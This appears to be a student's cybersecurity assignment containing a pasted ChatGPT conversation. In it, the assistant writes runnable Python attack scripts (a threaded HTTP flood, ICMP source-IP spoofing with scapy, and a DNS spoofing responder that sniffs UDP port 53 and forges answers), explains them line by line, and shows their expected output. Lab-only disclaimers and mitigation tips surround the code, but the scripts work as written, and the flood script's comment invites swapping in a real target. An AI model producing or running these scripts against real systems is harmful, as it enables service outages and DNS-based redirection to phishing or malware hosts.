ASSIGNMENT-2

Create an attack using python script and implement attack and analyse the effect of attack.

1. DDOS Attack
2. <https://www.youtube.com/watch?v=Rt4rna2LBZE>
3. <https://www.youtube.com/watch?v=naSxoom8C80>

b) IP spoofing

c) DNS Attack

Create an attack using python script and implement attack and analyse the effect of attack. a) DDOS Attack b) IP spoofing c) DNS Attack

Creating and executing cyber-attacks (such as **DDoS attacks, IP spoofing, or DNS attacks**) is **illegal and unethical** unless performed in a **controlled environment** (e.g., cybersecurity research labs, ethical hacking courses, or penetration testing with permission).

However, I can guide you on **how these attacks work**, their **mitigation strategies**, and how you can **simulate them legally in a controlled lab** for cybersecurity research and testing.

**1️⃣ DDoS Attack (Distributed Denial of Service)**

A **DDoS attack** floods a target server with excessive requests, overwhelming its resources and causing downtime.

**How It Works**

* Uses **multiple compromised machines (botnets)** to send **large volumes of traffic** to the target.
* Can be performed via **SYN flood, UDP flood, or HTTP request flooding**.

**Simulation (Controlled Lab)**

📌 **Legal Setup**:

* Run this on **a local test server** (e.g., Flask or Apache running on localhost).
* **Do NOT** target real websites!

import threading

import requests

# Target IP (use a local test server like Flask or Apache)

target\_url = "http://127.0.0.1" # Replace with the actual target if legal

def attack():

while True:

try:

response = requests.get(target\_url)

print(f"Sent request, response: {response.status\_code}")

except requests.exceptions.RequestException:

print("Server Down!")

# Launch multiple threads to send requests

for \_ in range(100): # 100 threads sending requests

thread = threading.Thread(target=attack)

thread.start()

**Effect of Attack:**

* High CPU and memory usage on the target server.
* Denial of legitimate requests.

**Mitigation:**

* **Rate limiting** (e.g., Cloudflare, fail2ban).
* **Traffic filtering** using **firewalls or intrusion detection systems** (IDS).

**2️⃣ IP Spoofing**

IP Spoofing manipulates packet headers to disguise the attacker's IP.

**How It Works**

* The attacker **modifies the source IP** of packets to **impersonate another device**.
* Often used in **DDoS, Man-in-the-Middle (MITM), and session hijacking attacks**.

**Simulation (Controlled Lab)**

📌 **Legal Setup**:

* Run this on a **local network with permission**.
* Requires **root/admin** privileges.

from scapy.all import send, IP, ICMP

# Spoofed packet (Faking sender's IP)

packet = IP(src="192.168.1.100", dst="192.168.1.1") / ICMP()

# Send the packet

send(packet, count=5) # Sends 5 packets

print("Spoofed packets sent!")

**Effect of Attack:**

* **Bypasses IP-based authentication** (e.g., firewalls allowing only certain IPs).
* Can be used in **DoS attacks** or **session hijacking**.

**Mitigation:**

* Implement **packet filtering** (e.g., iptables to drop spoofed packets).
* Use **authentication tokens instead of IP-based authentication**.

**3️⃣ DNS Attack (DNS Spoofing)**

DNS attacks redirect users to **malicious websites** by tampering with **DNS responses**.

**How It Works**

* The attacker **spoofs DNS responses** to redirect victims to a **fake website**.
* Used for **phishing and malware distribution**.

**Simulation (Controlled Lab)**

📌 **Legal Setup**:

* Use a **controlled local DNS resolver**.

from scapy.all import \*

import random

# Fake DNS response function

def dns\_attack(packet):

if packet.haslayer(DNS) and packet[DNS].qr == 0: # If it's a DNS request

spoofed\_response = IP(dst=packet[IP].src, src=packet[IP].dst) / \

UDP(dport=packet[UDP].sport, sport=53) / \

DNS(id=packet[DNS].id, qr=1, aa=1, qd=packet[DNS].qd,

an=DNSRR(rrname=packet[DNS].qd.qname, ttl=10, rdata="192.168.1.200"))

send(spoofed\_response)

print(f"Spoofed response sent for {packet[DNS].qd.qname}")

# Sniff for DNS queries and respond with spoofed IP

sniff(filter="udp port 53", prn=dns\_attack, store=0)

**Effect of Attack:**

* Users are redirected to a **malicious website**.
* Can be used for **credential theft or malware installation**.

**Mitigation:**

* **Use DNSSEC** (prevents forged DNS responses).
* Configure **firewalls to block unauthorized DNS traffic**.

**🛑 Important Note (Ethical & Legal)**

❌ **DO NOT execute these attacks on real networks without permission**.  
✅ **Always test in isolated environments** (e.g., virtual machines, test networks).  
✅ If you are interested in ethical hacking, consider **Certified Ethical Hacker (CEH) or OSCP certification**.

**You said:**

EXPLAIN THE CODE IN DETAIL

Let's go through each attack script in detail, explaining how they work and what each part of the code does.

**1️⃣ DDoS Attack Simulation**

**Objective:**

A **Distributed Denial-of-Service (DDoS) attack** floods a target server with multiple requests, consuming its resources and causing downtime.

**Code Breakdown:**

import threading

import requests

* threading: Used to create multiple threads, simulating multiple attackers (botnets).
* requests: Sends HTTP requests to the target website.

# Target IP (use a local test server like Flask or Apache)

target\_url = "http://127.0.0.1" # Replace with the actual target if legal

* The script targets **localhost (127.0.0.1)** to ensure no illegal activity.
* In a real attack, the attacker would enter an actual **website's IP address**.

def attack():

while True:

try:

response = requests.get(target\_url)

print(f"Sent request, response: {response.status\_code}")

except requests.exceptions.RequestException:

print("Server Down!")

* The function continuously **sends HTTP GET requests** to the target.
* If the server goes down, an exception is caught and prints "Server Down!".

# Launch multiple threads to send requests

for \_ in range(100): # 100 threads sending requests

thread = threading.Thread(target=attack)

thread.start()

* **100 threads** are created to simulate **100 attackers** simultaneously bombarding the target.
* Each thread runs the attack() function in an **infinite loop**.

**🛠️ How to Stop the Attack?**

* **Press Ctrl + C** to stop the script.
* The server logs may show **high CPU and memory usage**, leading to downtime.

**2️⃣ IP Spoofing Attack**

**Objective:**

IP spoofing manipulates the **source IP address** in packets to **impersonate another machine**.

**Code Breakdown:**

from scapy.all import send, IP, ICMP

* scapy.all: **Scapy** is a powerful packet manipulation library in Python.
* IP: Allows modification of **IP header** fields.
* ICMP: Used for sending **ping (Echo Request) packets**.

# Spoofed packet (Faking sender's IP)

packet = IP(src="192.168.1.100", dst="192.168.1.1") / ICMP()

* **src="192.168.1.100"**: This makes it look like the packet **came from another machine** (spoofed).
* **dst="192.168.1.1"**: The **destination** (router or another device in the network).
* **/ ICMP()**: This appends an **ICMP Echo Request (ping packet)**.

# Send the packet

send(packet, count=5) # Sends 5 packets

print("Spoofed packets sent!")

* Sends the **spoofed packet** **5 times** using the send() function.
* **The target machine will see the packet coming from a fake source IP.**

**🛠️ How to Detect and Mitigate?**

* Use **firewall rules** (iptables in Linux) to detect and block spoofed packets.
* Use **ingress and egress filtering** to verify legitimate IPs.

**3️⃣ DNS Spoofing Attack**

**Objective:**

A **DNS spoofing (cache poisoning) attack** redirects a victim to a **fake website** instead of the real one.

**Code Breakdown:**

from scapy.all import \*

import random

* scapy.all: Allows **DNS packet manipulation**.
* random: Used to randomize responses if needed.

# Fake DNS response function

def dns\_attack(packet):

if packet.haslayer(DNS) and packet[DNS].qr == 0: # If it's a DNS request

* **packet.haslayer(DNS)**: Checks if the packet is a **DNS packet**.
* **packet[DNS].qr == 0**: Ensures it's a **DNS query** (not a response).

spoofed\_response = IP(dst=packet[IP].src, src=packet[IP].dst) / \

UDP(dport=packet[UDP].sport, sport=53) / \

DNS(id=packet[DNS].id, qr=1, aa=1, qd=packet[DNS].qd,

an=DNSRR(rrname=packet[DNS].qd.qname, ttl=10, rdata="192.168.1.200"))

* **IP(dst=packet[IP].src, src=packet[IP].dst)**:
  + Swaps the **source and destination IPs** to make it look like a valid response.
* **UDP(dport=packet[UDP].sport, sport=53)**:
  + The response goes back on **port 53 (DNS port)**.
* **DNS(id=packet[DNS].id, qr=1, aa=1, qd=packet[DNS].qd, an=DNSRR(...))**:
  + qr=1: This marks it as a **DNS response**.
  + rdata="192.168.1.200": **Redirects the victim to a fake website** instead of the real one.

send(spoofed\_response)

print(f"Spoofed response sent for {packet[DNS].qd.qname}")

* **Sends the spoofed DNS response**, making the victim’s system **cache the fake IP**.

# Sniff for DNS queries and respond with spoofed IP

sniff(filter="udp port 53", prn=dns\_attack, store=0)

* sniff(filter="udp port 53", prn=dns\_attack, store=0):
  + Listens for **DNS requests** (UDP port 53).
  + Calls dns\_attack() for each captured DNS packet.

**🛠️ How to Prevent?**

* **Enable DNSSEC** to verify DNS responses.
* **Use trusted DNS resolvers (Google DNS, Cloudflare DNS)**.

**🛑 Ethical Considerations**

💀 **These attacks are ILLEGAL if performed outside a controlled environment**.  
✅ **Use only in penetration testing labs (Kali Linux, Metasploit, or Virtual Machines).**

**🔍 Key Takeaways**

| **Attack Type** | **What It Does** | **Effect** | **Mitigation** |
| --- | --- | --- | --- |
| **DDoS** | Overloads a server with fake requests | Server crashes, slow performance | Rate limiting, firewall, Cloudflare |
| **IP Spoofing** | Fakes source IP to impersonate another machine | Bypasses security measures, facilitates DDoS | Packet filtering, authentication |
| **DNS Spoofing** | Redirects users to malicious websites | Phishing, malware infections | Use DNSSEC, trusted resolvers |

**🚀 Want to Learn More?**

If you're interested in **ethical hacking**, I can guide you on:  
✔️ Setting up **penetration testing labs**  
✔️ **Defensive cybersecurity measures**  
✔️ Learning **tools like Wireshark, Metasploit, and Snort**

**You said:**

OUTPUT OF THIS CODE

**ChatGPT said:**

**Expected Output of Each Attack Simulation Script:**

Let’s break down the **expected output** of each attack simulation code you provided. This assumes you're running the code in a **controlled lab environment** (e.g., on localhost or a virtual machine).

**1️⃣ DDoS Attack Simulation**

**Code:**

import threading

import requests

target\_url = "http://127.0.0.1" # Replace with the actual target if legal

def attack():

while True:

try:

response = requests.get(target\_url)

print(f"Sent request, response: {response.status\_code}")

except requests.exceptions.RequestException:

print("Server Down!")

# Launch multiple threads to send requests

for \_ in range(100): # 100 threads sending requests

thread = threading.Thread(target=attack)

thread.start()

**Expected Output:**

* The script will continuously **send requests** to the target URL (http://127.0.0.1). If running a web server locally (like Flask or Apache), it will keep getting requests.
* In the case of success:

Sent request, response: 200

Sent request, response: 200

Sent request, response: 200

...

* If the server starts to get overwhelmed and crashes or becomes unreachable:

Server Down!

Server Down!

Server Down!

...

The response codes (200) would indicate the server is responding. If the server crashes, you'd see Server Down! from the exception handler.

**2️⃣ IP Spoofing Attack**

**Code:**

from scapy.all import send, IP, ICMP

# Spoofed packet (Faking sender's IP)

packet = IP(src="192.168.1.100", dst="192.168.1.1") / ICMP()

# Send the packet

send(packet, count=5) # Sends 5 packets

print("Spoofed packets sent!")

**Expected Output:**

* The script will **send 5 ICMP packets** with the spoofed IP (192.168.1.100) as the source and 192.168.1.1 as the destination.
* On successful execution:

Spoofed packets sent!

* The packets will not reach the real sender's machine, as their **source IP** is spoofed. You would need to analyze network traffic using **Wireshark** to verify that the packets are coming from a different IP.
* The target machine (e.g., 192.168.1.1) will likely see packets from 192.168.1.100 and could respond or log them as unusual.

**3️⃣ DNS Spoofing Attack**

**Code:**

python

CopyEdit

from scapy.all import \*

import random

# Fake DNS response function

def dns\_attack(packet):

if packet.haslayer(DNS) and packet[DNS].qr == 0: # If it's a DNS request

spoofed\_response = IP(dst=packet[IP].src, src=packet[IP].dst) / \

UDP(dport=packet[UDP].sport, sport=53) / \

DNS(id=packet[DNS].id, qr=1, aa=1, qd=packet[DNS].qd,

an=DNSRR(rrname=packet[DNS].qd.qname, ttl=10, rdata="192.168.1.200"))

send(spoofed\_response)

print(f"Spoofed response sent for {packet[DNS].qd.qname}")

# Sniff for DNS queries and respond with spoofed IP

sniff(filter="udp port 53", prn=dns\_attack, store=0)

**Expected Output:**

* The script listens for **DNS queries** on **UDP port 53**. When a DNS query is detected, the script sends a **spoofed DNS response**, redirecting the victim to IP 192.168.1.200.
* When the DNS query is detected, the output will look something like:

Spoofed response sent for b'example.com.'

Spoofed response sent for b'example.org.'

...

* **Wireshark** or other packet sniffing tools can help verify that the victim’s machine receives a response with the **fake IP address** (192.168.1.200), instead of the real DNS server IP.

**Key Things to Monitor in the Lab Environment:**

* **Server Behavior:** If testing with local servers (Flask, Apache), you'll notice high traffic when DDoS is simulated. The server might **crash** or become very slow, depending on your server’s capacity.
* **Packet Analysis:**
  + For **IP spoofing**, use **Wireshark** or **tcpdump** to see the spoofed packets with incorrect source IP.
  + For **DNS spoofing**, analyze DNS traffic using **Wireshark** to see if DNS queries get a fake response pointing to an unintended IP.

**Conclusion:**

* **DDoS Simulation**: The server might become overwhelmed by requests, and its availability would be disrupted.
* **IP Spoofing**: The target system would see requests coming from an unexpected source IP.
* **DNS Spoofing**: The victim would be redirected to a malicious IP instead of the legitimate one.

These outputs are simulated in a **lab environment** with **consent** to study attack patterns and behaviors. **Do not use these scripts on production or unauthorized systems**.